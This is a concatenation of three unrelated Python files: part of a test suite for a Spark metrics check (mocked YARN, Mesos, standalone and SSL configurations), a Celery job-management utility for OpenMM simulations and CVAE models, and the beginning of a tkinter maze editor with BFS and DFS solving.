= f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_APP_URL: with open(os.path.join(FIXTURE_DIR, 'spark_apps_pre20'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_JOB_URL: return MockStandaloneResponse("{}", 404) elif arg_url == STANDALONE_SPARK_STAGE_URL: return MockStandaloneResponse("{}", 404) elif arg_url == STANDALONE_SPARK_EXECUTOR_URL: return MockStandaloneResponse("{}", 404) elif arg_url == STANDALONE_SPARK_RDD_URL: return MockStandaloneResponse("{}", 404) elif arg_url == STANDALONE_SPARK_STREAMING_STATISTICS_URL: return MockStandaloneResponse("{}", 404) elif arg_url == STANDALONE_SPARK_JOB_URL_PRE20: with open(os.path.join(FIXTURE_DIR, 'job_metrics'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_STAGE_URL_PRE20: with open(os.path.join(FIXTURE_DIR, 'stage_metrics'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_EXECUTOR_URL_PRE20: with open(os.path.join(FIXTURE_DIR, 'executor_metrics'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_RDD_URL_PRE20: with open(os.path.join(FIXTURE_DIR, 'rdd_metrics'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_STREAMING_STATISTICS_URL_PRE20: with open(os.path.join(FIXTURE_DIR, 'streaming_statistics'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) CHECK_NAME = 'spark' YARN_CONFIG = { 'spark_url': 'http://localhost:8088', 'cluster_name': CLUSTER_NAME, 'spark_cluster_mode': 'spark_yarn_mode', 'tags': list(CUSTOM_TAGS), } YARN_AUTH_CONFIG = { 'spark_url': 'http://localhost:8088', 'cluster_name': CLUSTER_NAME, 'spark_cluster_mode': 'spark_yarn_mode', 'tags': list(CUSTOM_TAGS), 'username': TEST_USERNAME, 'password': TEST_PASSWORD, } MESOS_CONFIG = { 'spark_url': 'http://localhost:5050', 'cluster_name': CLUSTER_NAME, 'spark_cluster_mode': 'spark_mesos_mode', 'tags': list(CUSTOM_TAGS), } MESOS_FILTERED_CONFIG = { 'spark_url': 'http://localhost:5050', 'cluster_name': CLUSTER_NAME, 'spark_cluster_mode': 'spark_mesos_mode', 'spark_ui_ports': [1234], } STANDALONE_CONFIG = { 'spark_url': 'http://localhost:8080', 'cluster_name': CLUSTER_NAME, 'spark_cluster_mode': 'spark_standalone_mode', } STANDALONE_CONFIG_PRE_20 = { 'spark_url': 'http://localhost:8080', 'cluster_name': CLUSTER_NAME, 'spark_cluster_mode': 'spark_standalone_mode', 'spark_pre_20_mode': 'true', } SSL_CONFIG = {'spark_url': SSL_SERVER_URL, 'cluster_name': CLUSTER_NAME, 'spark_cluster_mode': 'spark_standalone_mode'} SSL_NO_VERIFY_CONFIG = { 'spark_url': SSL_SERVER_URL, 'cluster_name': CLUSTER_NAME, 'spark_cluster_mode': 'spark_standalone_mode', 'ssl_verify': False, } SSL_CERT_CONFIG = { 'spark_url': SSL_SERVER_URL, 'cluster_name': CLUSTER_NAME, 'spark_cluster_mode': 'spark_standalone_mode', 'ssl_verify': os.path.join(CERTIFICATE_DIR, 'cert.cert'), } SPARK_JOB_RUNNING_METRIC_VALUES = { 'spark.job.count': 2, 'spark.job.num_tasks': 20, 'spark.job.num_active_tasks': 30, 'spark.job.num_completed_tasks': 40, 'spark.job.num_skipped_tasks': 50, 'spark.job.num_failed_tasks': 60, 'spark.job.num_active_stages': 70, 'spark.job.num_completed_stages': 80, 'spark.job.num_skipped_stages': 90, 'spark.job.num_failed_stages': 100, } SPARK_JOB_RUNNING_METRIC_TAGS = ['cluster_name:' + CLUSTER_NAME, 'app_name:' + APP_NAME, 'status:running'] SPARK_JOB_SUCCEEDED_METRIC_VALUES = { 'spark.job.count': 3, 'spark.job.num_tasks': 1000, 'spark.job.num_active_tasks': 2000, 'spark.job.num_completed_tasks': 3000, 'spark.job.num_skipped_tasks': 4000, 'spark.job.num_failed_tasks': 5000, 'spark.job.num_active_stages': 6000, 'spark.job.num_completed_stages': 7000, 'spark.job.num_skipped_stages': 8000, 'spark.job.num_failed_stages': 9000, } SPARK_JOB_SUCCEEDED_METRIC_TAGS = ['cluster_name:' + CLUSTER_NAME, 'app_name:' + APP_NAME, 'status:succeeded'] SPARK_STAGE_RUNNING_METRIC_VALUES = { 'spark.stage.count': 3, 'spark.stage.num_active_tasks': 3 * 3, 'spark.stage.num_complete_tasks': 4 * 3, 'spark.stage.num_failed_tasks': 5 * 3, 'spark.stage.executor_run_time': 6 * 3, 'spark.stage.input_bytes': 7 * 3, 'spark.stage.input_records': 8 * 3, 'spark.stage.output_bytes': 9 * 3, 'spark.stage.output_records': 10 * 3, 'spark.stage.shuffle_read_bytes': 11 * 3, 'spark.stage.shuffle_read_records': 12 * 3, 'spark.stage.shuffle_write_bytes': 13 * 3, 'spark.stage.shuffle_write_records': 14 * 3, 'spark.stage.memory_bytes_spilled': 15 * 3, 'spark.stage.disk_bytes_spilled': 16 * 3, } SPARK_STAGE_RUNNING_METRIC_TAGS = ['cluster_name:' + CLUSTER_NAME, 'app_name:' + APP_NAME, 'status:running'] SPARK_STAGE_COMPLETE_METRIC_VALUES = { 'spark.stage.count': 2, 'spark.stage.num_active_tasks': 100 * 2, 'spark.stage.num_complete_tasks': 101 * 2, 'spark.stage.num_failed_tasks': 102 * 2, 'spark.stage.executor_run_time': 103 * 2, 'spark.stage.input_bytes': 104 * 2, 'spark.stage.input_records': 105 * 2, 'spark.stage.output_bytes': 106 * 2, 'spark.stage.output_records': 107 * 2, 'spark.stage.shuffle_read_bytes': 108 * 2, 'spark.stage.shuffle_read_records': 109 * 2, 'spark.stage.shuffle_write_bytes': 110 * 2, 'spark.stage.shuffle_write_records': 111 * 2, 'spark.stage.memory_bytes_spilled': 112 * 2, 'spark.stage.disk_bytes_spilled': 113 * 2, } SPARK_STAGE_COMPLETE_METRIC_TAGS = ['cluster_name:' + CLUSTER_NAME, 'app_name:' + APP_NAME, 'status:complete'] SPARK_DRIVER_METRIC_VALUES = { 'spark.driver.rdd_blocks': 99, 'spark.driver.memory_used': 98, 'spark.driver.disk_used': 97, 'spark.driver.active_tasks': 96, 'spark.driver.failed_tasks': 95, 'spark.driver.completed_tasks': 94, 'spark.driver.total_tasks': 93, 'spark.driver.total_duration': 92, 'spark.driver.total_input_bytes': 91, 'spark.driver.total_shuffle_read': 90, 'spark.driver.total_shuffle_write': 89, 'spark.driver.max_memory': 278019440, } SPARK_EXECUTOR_METRIC_VALUES = { 'spark.executor.count': 2, 'spark.executor.rdd_blocks': 1, 'spark.executor.memory_used': 2, 'spark.executor.disk_used': 3, 'spark.executor.active_tasks': 4, 'spark.executor.failed_tasks': 5, 'spark.executor.completed_tasks': 6, 'spark.executor.total_tasks': 7, 'spark.executor.total_duration': 8, 'spark.executor.total_input_bytes': 9, 'spark.executor.total_shuffle_read': 10, 'spark.executor.total_shuffle_write': 11, 'spark.executor.max_memory': 555755765, } SPARK_RDD_METRIC_VALUES = { 'spark.rdd.count': 1, 'spark.rdd.num_partitions': 2, 'spark.rdd.num_cached_partitions': 2, 'spark.rdd.memory_used': 284, 'spark.rdd.disk_used': 0, } SPARK_STREAMING_STATISTICS_METRIC_VALUES = { 'spark.streaming.statistics.avg_input_rate': 1.0, 'spark.streaming.statistics.avg_processing_time': 175, 'spark.streaming.statistics.avg_scheduling_delay': 8, 'spark.streaming.statistics.avg_total_delay': 183, 'spark.streaming.statistics.batch_duration': 2000, 'spark.streaming.statistics.num_active_batches': 2, 'spark.streaming.statistics.num_active_receivers': 1, 'spark.streaming.statistics.num_inactive_receivers': 3, 'spark.streaming.statistics.num_processed_records': 7, 'spark.streaming.statistics.num_received_records': 9, 'spark.streaming.statistics.num_receivers': 10, 'spark.streaming.statistics.num_retained_completed_batches': 27, 'spark.streaming.statistics.num_total_completed_batches': 28, } SPARK_METRIC_TAGS = ['cluster_name:' + CLUSTER_NAME, 'app_name:' + APP_NAME] def test_yarn(aggregator): with mock.patch('requests.get', yarn_requests_get_mock): c = SparkCheck('spark', None, {}, [YARN_CONFIG]) c.check(YARN_CONFIG) # Check the succeeded job metrics for metric, value in iteritems(SPARK_JOB_SUCCEEDED_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_JOB_SUCCEEDED_METRIC_TAGS + CUSTOM_TAGS) # Check the running stage metrics for metric, value in iteritems(SPARK_STAGE_RUNNING_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_STAGE_RUNNING_METRIC_TAGS + CUSTOM_TAGS) # Check the complete stage metrics for metric, value in iteritems(SPARK_STAGE_COMPLETE_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_STAGE_COMPLETE_METRIC_TAGS + CUSTOM_TAGS) # Check the driver metrics for metric, value in iteritems(SPARK_DRIVER_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS + CUSTOM_TAGS) # Check the executor metrics for metric, value in iteritems(SPARK_EXECUTOR_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS + CUSTOM_TAGS) # Check the RDD metrics for metric, value in iteritems(SPARK_RDD_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS + CUSTOM_TAGS) # Check the streaming statistics metrics for metric, value in iteritems(SPARK_STREAMING_STATISTICS_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS + CUSTOM_TAGS) tags = ['url:http://localhost:8088', 'cluster_name:SparkCluster'] + CUSTOM_TAGS tags.sort() for sc in aggregator.service_checks(YARN_SERVICE_CHECK): assert sc.status == SparkCheck.OK sc.tags.sort() assert sc.tags == tags for sc in aggregator.service_checks(SPARK_SERVICE_CHECK): assert sc.status == SparkCheck.OK sc.tags.sort() assert sc.tags == tags # Assert coverage for this check on this instance aggregator.assert_all_metrics_covered() def test_auth_yarn(aggregator): with mock.patch('requests.get', yarn_requests_auth_mock): c = SparkCheck('spark', None, {}, [YARN_AUTH_CONFIG]) c.check(YARN_AUTH_CONFIG) tags = ['url:http://localhost:8088', 'cluster_name:SparkCluster'] + CUSTOM_TAGS tags.sort() for sc in aggregator.service_checks(YARN_SERVICE_CHECK): assert sc.status == SparkCheck.OK sc.tags.sort() assert sc.tags == tags for sc in aggregator.service_checks(SPARK_SERVICE_CHECK): assert sc.status == SparkCheck.OK sc.tags.sort() assert sc.tags == tags def test_mesos(aggregator): with mock.patch('requests.get', mesos_requests_get_mock): c = SparkCheck('spark', None, {}, [MESOS_CONFIG]) c.check(MESOS_CONFIG) # Check the running job metrics for metric, value in iteritems(SPARK_JOB_RUNNING_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_JOB_RUNNING_METRIC_TAGS + CUSTOM_TAGS) # Check the succeeded job metrics for metric, value in iteritems(SPARK_JOB_SUCCEEDED_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_JOB_SUCCEEDED_METRIC_TAGS + CUSTOM_TAGS) # Check the running stage metrics for metric, value in iteritems(SPARK_STAGE_RUNNING_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_STAGE_RUNNING_METRIC_TAGS + CUSTOM_TAGS) # Check the complete stage metrics for metric, value in iteritems(SPARK_STAGE_COMPLETE_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_STAGE_COMPLETE_METRIC_TAGS + CUSTOM_TAGS) # Check the driver metrics for metric, value in iteritems(SPARK_DRIVER_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS + CUSTOM_TAGS) # Check the executor metrics for metric, value in iteritems(SPARK_EXECUTOR_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS + CUSTOM_TAGS) # Check the RDD metrics for metric, value in iteritems(SPARK_RDD_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS + CUSTOM_TAGS) # Check the streaming statistics metrics for metric, value in iteritems(SPARK_STREAMING_STATISTICS_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS + CUSTOM_TAGS) # Check the service tests for sc in aggregator.service_checks(MESOS_SERVICE_CHECK): assert sc.status == SparkCheck.OK tags = ['url:http://localhost:5050', 'cluster_name:SparkCluster'] + CUSTOM_TAGS tags.sort() sc.tags.sort() assert sc.tags == tags for sc in aggregator.service_checks(SPARK_SERVICE_CHECK): assert sc.status == SparkCheck.OK tags = ['url:http://localhost:4040', 'cluster_name:SparkCluster'] + CUSTOM_TAGS tags.sort() sc.tags.sort() assert sc.tags == tags # Assert coverage for this check on this instance aggregator.assert_all_metrics_covered() def test_mesos_filter(aggregator): with mock.patch('requests.get', mesos_requests_get_mock): c = SparkCheck('spark', None, {}, [MESOS_FILTERED_CONFIG]) c.check(MESOS_FILTERED_CONFIG) for sc in aggregator.service_checks(MESOS_SERVICE_CHECK): assert sc.status == SparkCheck.OK assert sc.tags == ['url:http://localhost:5050', 'cluster_name:SparkCluster'] assert aggregator.metrics_asserted_pct == 100.0 def test_standalone_unit(aggregator): with mock.patch('requests.get', standalone_requests_get_mock): c = SparkCheck('spark', None, {}, [STANDALONE_CONFIG]) c.check(STANDALONE_CONFIG) # Check the running job metrics for metric, value in iteritems(SPARK_JOB_RUNNING_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_JOB_RUNNING_METRIC_TAGS) # Check the running job metrics for metric, value in iteritems(SPARK_JOB_RUNNING_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_JOB_RUNNING_METRIC_TAGS) # Check the succeeded job metrics for metric, value in iteritems(SPARK_JOB_SUCCEEDED_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_JOB_SUCCEEDED_METRIC_TAGS) # Check the running stage metrics for metric, value in iteritems(SPARK_STAGE_RUNNING_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_STAGE_RUNNING_METRIC_TAGS) # Check the complete stage metrics for metric, value in iteritems(SPARK_STAGE_COMPLETE_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_STAGE_COMPLETE_METRIC_TAGS) # Check the driver metrics for metric, value in iteritems(SPARK_DRIVER_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS) # Check the executor metrics for metric, value in iteritems(SPARK_EXECUTOR_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS) # Check the RDD metrics for metric, value in iteritems(SPARK_RDD_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS) # Check the streaming statistics metrics for metric, value in iteritems(SPARK_STREAMING_STATISTICS_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS) # Check the service tests for sc in aggregator.service_checks(STANDALONE_SERVICE_CHECK): assert sc.status == SparkCheck.OK assert sc.tags == ['url:http://localhost:8080', 'cluster_name:SparkCluster'] for sc in aggregator.service_checks(SPARK_SERVICE_CHECK): assert sc.status == SparkCheck.OK assert sc.tags == ['url:http://localhost:4040', 'cluster_name:SparkCluster'] # Assert coverage for this check on this instance aggregator.assert_all_metrics_covered() def test_standalone_pre20(aggregator): with mock.patch('requests.get', standalone_requests_pre20_get_mock): c = SparkCheck('spark', None, {}, [STANDALONE_CONFIG_PRE_20]) c.check(STANDALONE_CONFIG_PRE_20) # Check the running job metrics for metric, value in iteritems(SPARK_JOB_RUNNING_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_JOB_RUNNING_METRIC_TAGS) # Check the running job metrics for metric, value in iteritems(SPARK_JOB_RUNNING_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_JOB_RUNNING_METRIC_TAGS) # Check the succeeded job metrics for metric, value in iteritems(SPARK_JOB_SUCCEEDED_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_JOB_SUCCEEDED_METRIC_TAGS) # Check the running stage metrics for metric, value in iteritems(SPARK_STAGE_RUNNING_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_STAGE_RUNNING_METRIC_TAGS) # Check the complete stage metrics for metric, value in iteritems(SPARK_STAGE_COMPLETE_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_STAGE_COMPLETE_METRIC_TAGS) # Check the driver metrics for metric, value in iteritems(SPARK_DRIVER_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS) # Check the executor metrics for metric, value in iteritems(SPARK_EXECUTOR_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS) # Check the RDD metrics for metric, value in iteritems(SPARK_RDD_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS) # Check the streaming statistics metrics for metric, value in iteritems(SPARK_STREAMING_STATISTICS_METRIC_VALUES): aggregator.assert_metric(metric, value=value, tags=SPARK_METRIC_TAGS) # Check the service tests for sc in aggregator.service_checks(STANDALONE_SERVICE_CHECK): assert sc.status == SparkCheck.OK assert sc.tags == ['url:http://localhost:8080', 'cluster_name:SparkCluster'] for sc in aggregator.service_checks(SPARK_SERVICE_CHECK): assert sc.status == SparkCheck.OK assert sc.tags == ['url:http://localhost:4040', 'cluster_name:SparkCluster'] # Assert coverage for this check on this instance aggregator.assert_all_metrics_covered() def test_ssl(): run_ssl_server() c = SparkCheck('spark', None, {}, [SSL_CONFIG]) with pytest.raises(requests.exceptions.SSLError): c.check(SSL_CONFIG) def test_ssl_no_verify(): # Disable ssl warning for self signed cert/no verify urllib3.disable_warnings() run_ssl_server() c = SparkCheck('spark', None, {}, [SSL_NO_VERIFY_CONFIG]) c.check(SSL_NO_VERIFY_CONFIG) def test_ssl_cert(): # Disable ssl warning for self signed cert/no verify urllib3.disable_warnings() run_ssl_server() c = SparkCheck('spark', None, {}, [SSL_CERT_CONFIG]) c.check(SSL_CERT_CONFIG) class StandaloneAppsResponseHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-type", "application/json") self.end_headers() with open(os.path.join(FIXTURE_DIR, 'spark_standalone_apps'), 'rb') as f: self.wfile.write(f.read()) def run_ssl_server(): cert_file = os.path.join(CERTIFICATE_DIR, 'server.pem') httpd = BaseHTTPServer.HTTPServer((SSL_SERVER_ADDRESS, SSL_SERVER_PORT), StandaloneAppsResponseHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile=cert_file, server_side=False) httpd.timeout = 5 threading.Thread(target=httpd.handle_request).start() time.sleep(0.5) return httpd @pytest.mark.usefixtures('dd_environment') @pytest.mark.integration def test_standalone(aggregator, instance_standalone): c = SparkCheck('spark', None, {}, [instance_standalone]) c.check(instance_standalone) # Check the running job metrics for metric in SPARK_JOB_RUNNING_METRIC_VALUES: aggregator.assert_metric(metric) # Check the succeeded job metrics for metric in SPARK_JOB_SUCCEEDED_METRIC_VALUES: aggregator.assert_metric(metric) # Check the running stage metrics for metric in SPARK_STAGE_RUNNING_METRIC_VALUES: aggregator.assert_metric(metric) # Check the complete stage metrics for metric in SPARK_STAGE_COMPLETE_METRIC_VALUES: aggregator.assert_metric(metric) # Check the driver metrics for metric in SPARK_DRIVER_METRIC_VALUES: aggregator.assert_metric(metric) # Check the streaming statistics metrics and remove 2 we're not getting for now streaming_statistics = set(SPARK_STREAMING_STATISTICS_METRIC_VALUES) - { 'spark.streaming.statistics.avg_processing_time', 'spark.streaming.statistics.avg_total_delay', } for metric in streaming_statistics: aggregator.assert_metric(metric) # TODO: Further investigate why we aren't getting these, it may be Docker networking # # # Check the executor metrics # for metric in SPARK_EXECUTOR_METRIC_VALUES: # aggregator.assert_metric(metric) # # # Check the RDD metrics # for metric in SPARK_RDD_METRIC_VALUES: # aggregator.assert_metric(metric)
utils.py
from tasks import run_omm_with_celery, run_omm_with_celery_fs_pep, run_cvae_with_celery from celery.bin import worker import numpy as np import threading, h5py import subprocess, errno, os import warnings from sklearn.cluster import DBSCAN import MDAnalysis as mda from keras import backend as K from molecules.utils.matrix_op import triu_to_full from CVAE import CVAE def read_h5py_file(h5_file): cm_h5 = h5py.File(h5_file, 'r', libver='latest', swmr=True) return cm_h5[u'contact_maps'] def start_rabbit(rabbitmq_log): """ A function starting the rabbitmq server within the python script and sending the worker running at the background. Parameters: ----------- rabbitmq_log : ``str`` log file contains the screen output of rabbitmq server """ log = open(rabbitmq_log, 'w') subprocess.Popen('rabbitmq-server &'.split(' '), stdout=log, stderr=log) def start_worker(celery_worker_log): """ A function starting the celery works within the python script and sending the worker running at the background. Parameters: ----------- celery_worker_log : ``str`` log file contains the screen output of celery worker """ celery_cmdline = "celery worker -A tasks" log = open(celery_worker_log, 'w') subprocess.Popen(celery_cmdline.split(" "), stdout=log, stderr=log) # This format of starting the workers used mess up the print function in notebook. # celery_worker = worker.worker(app=celery_app) # threaded_celery_worker = threading.Thread(target=celery_worker.run) # threaded_celery_worker.start() # return threaded_celery_worker def start_flower_monitor(address='127.0.0.1', port=5555): """ A function starting the flower moniter for celery servers and workers. The information is available at http://127.0.0.1:5555 by default Parameters: ----------- address : ``string`` The address to the flower server port : ``int`` The port to open or port the server """ celery_flower_cmdline = 'celery flower -A tasks --address={0} --port={1}'.format(address, port) subprocess.Popen(celery_flower_cmdline.split(" ")) def cm_to_cvae(cm_data_lists): """ A function converting the 2d upper triangle information of contact maps read from hdf5 file to full contact map and reshape to the format ready for cvae """ cm_all = np.hstack(cm_data_lists) # transfer upper triangle to full matrix cm_data_full = np.array([triu_to_full(cm_data) for cm_data in cm_all.T]) # padding if odd dimension occurs in image pad_f = lambda x: (0,0) if x%2 == 0 else (0,1) padding_buffer = [(0,0)] for x in cm_data_full.shape[1:]: padding_buffer.append(pad_f(x)) cm_data_full = np.pad(cm_data_full, padding_buffer, mode='constant') # reshape matrix to 4d tensor cvae_input = cm_data_full.reshape(cm_data_full.shape + (1,)) return cvae_input def job_on_gpu(gpu_id, jobs): """ Find job on GPU gpu_id Parameters: ----------- gpu_id : ``int`` jobs : ``list of celery tasks`` """ for job in jobs: if job.gpu_id == gpu_id: return job class omm_job(object): """ A OpenMM simulation job. Parameters: ----------- job_id : ``int`` A int number to track the job, according to which the job will create a directory and store the log, trajectory and contact maps h5 files gpu_id : ``int`` The id of GPU, on which the OpenMM will be running top_file : ``str`` The location of input topology file for OpenMM pdb_file : ``str`` The location of input coordinate file for OpenMM """ def __init__(self, job_id=0, gpu_id=0, top_file=None, pdb_file=None, check_point=None): self.job_id = job_id self.gpu_id = gpu_id self.top_file = top_file self.pdb_file = pdb_file self.check_point = None self.type = 'omm' self.state = 'RECEIVED' self.save_path = 'omm_run_%d' % job_id self.job = None def start(self): """ A function to start the job and store the `class :: celery.result.AsyncResult` in the omm_job.job """ if self.top_file: sim_job = run_omm_with_celery.delay(self.job_id, self.gpu_id, self.top_file, self.pdb_file, self.check_point) else: sim_job = run_omm_with_celery_fs_pep.delay(self.job_id, self.gpu_id, self.pdb_file, self.check_point) self.state = 'RUNNING' self.job = sim_job def stop(self): """ A function to stop the job and return the available gpu_id """ if self.job: self.state = 'STOPPED' self.job.revoke(terminate=True) else: warnings.warn('Attempt to stop a job, which is not running. \n') return self.gpu_id class cvae_job(object): """ A CVAE job. Parameters: ----------- job_id : ``int`` A int number to track the job, according to which the job will create a directory and store the weight files gpu_id : ``int`` The id of GPU, on which the CVAE will be running input_data_file : ``str`` file location The location of h5 file for CVAE input hyper_dim : ``int`` The number of latent space dimension """ def __init__(self, job_id, gpu_id=0, cvae_input=None, hyper_dim=3): self.job_id = job_id self.gpu_id = gpu_id self.cvae_input = cvae_input self.hyper_dim = hyper_dim self.type = 'cvae' self.state = 'RECEIVED' self.model_weight = os.path.join("cvae_model_%d_%d" % (hyper_dim, int(job_id)), 'cvae_weight.h5') self.job = None def start(self): """ A function to start the job and store the `class :: celery.result.AsyncResult` in the cvae_job.job """ sim_job = run_cvae_with_celery.delay(self.job_id, self.gpu_id, self.cvae_input, hyper_dim=self.hyper_dim) self.state = 'RUNNING' self.job = sim_job def cave_model(self): pass # if self.job. def stop(self): """ A function to stop the job and return the available gpu_id """ if self.job: self.state = 'STOPPED' self.job.revoke(terminate=True) else: warnings.warn('Attempt to stop a job, which is not running. \n') class job_list(list): """ This create a list that allows to easily tracking the status of Celery jobs """ def __init__(self): pass def get_running_jobs(self): running_list = [] for job in self: if job.job: if job.state == u'RUNNING': running_list.append(job) return running_list def get_job_from_gpu_id(self, gpu_id): for job in self.get_running_jobs(): if job.gpu_id == gpu_id: return job def get_omm_jobs(self): omm_list = [job for job in self if job.type == 'omm'] return omm_list def get_cvae_jobs(self): cvae_list = [job for job in self if job.type == 'cvae'] return cvae_list def get_available_gpu(self, gpu_list): avail_gpu = gpu_list[:] for job in self.get_running_jobs(): avail_gpu.remove(job.gpu_id) return avail_gpu def get_running_omm_jobs(self): running_omm_list = [job for job in self.get_running_jobs() if job.type == 'omm'] return running_omm_list def get_finished_cave_jobs(self): finished_cvae_list = [job for job in self.get_cvae_jobs() if job.job.status == u'SUCCESS'] return finished_cvae_list def stamp_to_time(stamp): import datetime return datetime.datetime.fromtimestamp(stamp).strftime('%Y-%m-%d %H:%M:%S') def find_frame(traj_dict, frame_number=0): local_frame = frame_number for key in sorted(traj_dict.keys()): if local_frame - int(traj_dict[key]) < 0: dir_name = os.path.dirname(key) traj_file = os.path.join(dir_name, 'output.dcd') return traj_file, local_frame else: local_frame -= int(traj_dict[key]) raise Exception('frame %d should not exceed the total number of frames, %d' % (frame_number, sum(np.array(traj_dict.values()).astype(int)))) def write_pdb_frame(traj_file, pdb_file, frame_number, output_pdb): mda_traj = mda.Universe(pdb_file, traj_file) mda_traj.trajectory[frame_number] PDB = mda.Writer(output_pdb) PDB.write(mda_traj.atoms) return output_pdb def make_dir_p(path_name): try: os.mkdir(path_name) except OSError as exc: if exc.errno != errno.EEXIST: raise pass def outliers_from_cvae(model_weight, cvae_input, hyper_dim=3, eps=0.35): os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID" os.environ["CUDA_VISIBLE_DEVICES"]=str(0) cvae = CVAE(cvae_input.shape[1:], hyper_dim) cvae.model.load_weights(model_weight) cm_predict = cvae.return_embeddings(cvae_input) db = DBSCAN(eps=eps, min_samples=10).fit(cm_predict) db_label = db.labels_ outlier_list = np.where(db_label == -1) K.clear_session() return outlier_list def predict_from_cvae(model_weight, cvae_input, hyper_dim=3): os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID" os.environ["CUDA_VISIBLE_DEVICES"]=str(0) cvae = CVAE(cvae_input.shape[1:], hyper_dim) cvae.model.load_weights(model_weight) cm_predict = cvae.return_embeddings(cvae_input) return cm_predict
maze.py
import json import time from collections import defaultdict from threading import Thread, Event from tkinter import * from tkinter.ttk import * from tkinter.filedialog import asksaveasfilename, askopenfilename from tkinter.simpledialog import askstring from tkinter.messagebox import showerror, showinfo from matrix import Matrix # grid dimensions WIDTH = 1000 HEIGHT = 500 CELL_SIZE = 50 TIME_OUT = 3 class MazeApplication(Frame): def __init__(self, matrix, master=None, width=1000, height=500, cell_size=20): Frame.__init__(self, master) self.__master = master self.__canvas = Canvas(master, width=width, height=height) self.__width = width self.__height = height self.__cell_size = cell_size self.__rects = defaultdict(list) self.__matrix = matrix def init_window(self): self.__master.title("Maze") self.pack(fill=BOTH, expand=1) menu = Menu(self.__master) self.__master.config(menu=menu) file = Menu(menu) file.add_command(label='Open Maze...', command=self.__load) file.add_command(label='Save Maze...', command=self.__store) file.add_command(label='Clear Maze', command=self.__clear) file.add_command(label='Exit', command=self.__client_exit) menu.add_cascade(label='File', menu=file) file = Menu(menu) file.add_command(label='Breadth First Search', command=lambda: self.__search(self.__matrix.BFS_search)) file.add_command(label='Depth First Search', command=lambda: self.__search(self.__matrix.DFS_search)) file.add_command(label='Clear Breadcrumbs', command = self.__clear_path) menu.add_cascade(label='Solve Maze', menu=file) def draw_maze(self): # Draw grid for i in range(0, self.__width, self.__cell_size): self.__canvas.create_line(i, 0, i, 500, fill="gray", dash=(3,5)) for i in range(0, self.__height, self.__cell_size): self.__canvas.create_line(0, i, 1000, i, fill="gray", dash=(3,5)) # binf mouse buttons self.__canvas.bind("<Button-1>", self.__leftclick) self.__canvas.bind("<Button-2>", self.__middleclick) self.__canvas.bind("<Button-3>", self.__rightclick) self.__canvas.pack() def __fill_cell(self, x, y, color, scaling=1): cell_size = int(CELL_SIZE * scaling) padding = (CELL_SIZE - cell_size) // 2 if scaling < 1 else 0 left = x * CELL_SIZE + padding top = y * CELL_SIZE + padding rect = self.__canvas.create_rectangle(left, top, left + cell_size, top + cell_size, fill=color) self.__rects[(x, y)].append(rect) def __fill_maze(self): # Fill maze from internal array cells = self.__matrix.get_filled_cells() for x, y in cells: self.__fill_cell(x, y, 'black') x, y = self.__matrix.get_start() self.__fill_cell(x, y, 'green') x, y = self.__matrix.get_end() self.__fill_cell(x, y, 'red') def __leftclick(self, event): # add/remove walls or obstacles x = event.x // self.__cell_size y = event.y // self.__cell_size if (self.__matrix.get_start() == (x, y) or self.__matrix.get_end() == (x, y)): showerror('Error', 'Reset start or end before setting barrier.') return value = self.__matrix.get_cell(x, y) if value == 1: # remove wall/obstacle self.__matrix.set_cell(x, y, 0) rect = self.__rects[(x, y)] self.__canvas.delete(rect) del self.__rects[(x, y)] else: # add wall/obstacle 